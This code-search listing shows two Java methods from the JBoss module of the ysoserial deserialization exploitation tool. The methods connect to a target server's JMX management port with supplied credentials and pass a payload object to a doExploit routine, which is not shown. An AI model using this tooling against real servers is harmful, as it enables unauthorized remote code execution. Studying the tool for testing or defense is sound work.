Search in sources :

Example 1 with ConnectionHandler

use of org.jboss.remoting3.spi.ConnectionHandler in project ysoserial by frohoff.

the class JBoss method getChannel.

private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
    Channel c;
    FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
    ch.open("jmx", chResult, options);
    IoFuture<Channel> cFuture = chResult.getIoFuture();
    Status s2 = cFuture.await();
    if (s2 == Status.FAILED) {
        System.err.println("Cannot connect");
        if (cFuture.getException() != null) {
            throw new IOException("Connect failed", cFuture.getException());
        }
    } else if (s2 != Status.DONE) {
        cFuture.cancel();
        throw new IOException("Connect timeout");
    }
    c = cFuture.get();
    return c;
}
Also used : Status(org.xnio.IoFuture.Status) FutureResult(org.xnio.FutureResult) Channel(org.jboss.remoting3.Channel) IOException(java.io.IOException)

Example 2 with ConnectionHandler

use of org.jboss.remoting3.spi.ConnectionHandler in project ysoserial by frohoff.

the class JBoss method doRun.

private static void doRun(URI u, final Object payloadObject, String username, String password) {
    ConnectionProvider instance = null;
    ConnectionProviderContextImpl context = null;
    ConnectionHandler ch = null;
    Channel c = null;
    VersionedConnection vc = null;
    try {
        Logger logger = LogManager.getLogManager().getLogger("");
        logger.addHandler(new ConsoleLogHandler());
        logger.setLevel(Level.INFO);
        OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
        context = new ConnectionProviderContextImpl(options, "endpoint");
        instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
        String host = u.getHost();
        int port = u.getPort() > 0 ? u.getPort() : 9990;
        SocketAddress destination = new InetSocketAddress(host, port);
        ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
        ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
        c = getChannel(context, ch, options);
        System.err.println("Connected");
        vc = makeVersionedConnection(c);
        MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
        doExploit(payloadObject, mbc);
        System.err.println("DONE");
    } catch (Throwable e) {
        e.printStackTrace(System.err);
    } finally {
        cleanup(instance, context, ch, c, vc);
    }
}
Also used : ConnectionHandlerFactory(org.jboss.remoting3.spi.ConnectionHandlerFactory) InetSocketAddress(java.net.InetSocketAddress) Channel(org.jboss.remoting3.Channel) Logger(java.util.logging.Logger) Endpoint(org.jboss.remoting3.Endpoint) ConnectionProvider(org.jboss.remoting3.spi.ConnectionProvider) ConnectionHandler(org.jboss.remoting3.spi.ConnectionHandler) OptionMap(org.xnio.OptionMap) HttpUpgradeConnectionProviderFactory(org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory) VersionedConnection(org.jboss.remotingjmx.VersionedConnection) SocketAddress(java.net.SocketAddress) InetSocketAddress(java.net.InetSocketAddress) MBeanServerConnection(javax.management.MBeanServerConnection)

Aggregations

Channel (org.jboss.remoting3.Channel)2 IOException (java.io.IOException)1 InetSocketAddress (java.net.InetSocketAddress)1 SocketAddress (java.net.SocketAddress)1 Logger (java.util.logging.Logger)1 MBeanServerConnection (javax.management.MBeanServerConnection)1 Endpoint (org.jboss.remoting3.Endpoint)1 HttpUpgradeConnectionProviderFactory (org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory)1 ConnectionHandler (org.jboss.remoting3.spi.ConnectionHandler)1 ConnectionHandlerFactory (org.jboss.remoting3.spi.ConnectionHandlerFactory)1 ConnectionProvider (org.jboss.remoting3.spi.ConnectionProvider)1 VersionedConnection (org.jboss.remotingjmx.VersionedConnection)1 FutureResult (org.xnio.FutureResult)1 Status (org.xnio.IoFuture.Status)1 OptionMap (org.xnio.OptionMap)1